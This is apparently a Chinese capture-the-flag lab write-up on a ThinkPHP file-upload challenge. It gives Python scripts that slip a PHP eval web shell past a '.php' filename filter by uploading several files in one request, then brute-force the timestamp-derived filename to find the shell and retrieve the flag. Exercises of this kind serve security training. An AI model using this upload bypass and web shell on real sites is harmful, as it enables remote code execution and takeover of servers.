实验工具
- 谷歌浏览器:是一款非常稳定,非常流行的Internet浏览器
- python:是一门编程语言
实验内容
分析源码,之后写脚本利用同时上传多文件的方法来绕过waf
实验步骤
步骤1:分析题目代码
- 本步骤分析index.php查看代码漏洞
发现题目有上传功能,但限制上传文件的文件名中不能含有.php
而且$upload->allowExts是没有被用到的,所以无效
步骤2: 绕过限制
- 本步通过利用python脚本上传多个文件来绕过waf
我们可以利用python来同时上传多个文件来绕waf,但是题目只会显示第一个正常文件上传之后的路径,例如使用下面的脚本来只传一个文件:
#coding:utf-8
import requests
import time
import json
url = "http://172.16.12.2:81/"
path = url + "/index.php/home/index/upload"
files = {"file":"123"}
r = requests.post(path, files=files)
print r.text
运行之后结果如下:
经过查阅thinkphp的相关上传逻辑可知,被上传的文件名是根据时间戳来生成的,所以我们只需要根据第一个正常文件的文件名通过爆破得到第二个、我们上传的恶意文件的文件名
可以用下面的脚本来实现上述思路:
import requests
import time
import json
url = "http://172.16.12.2:81/"
path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print param
t1 = int(t1, 16)
j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:-1]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1
结果:
这样我们就拿到了flag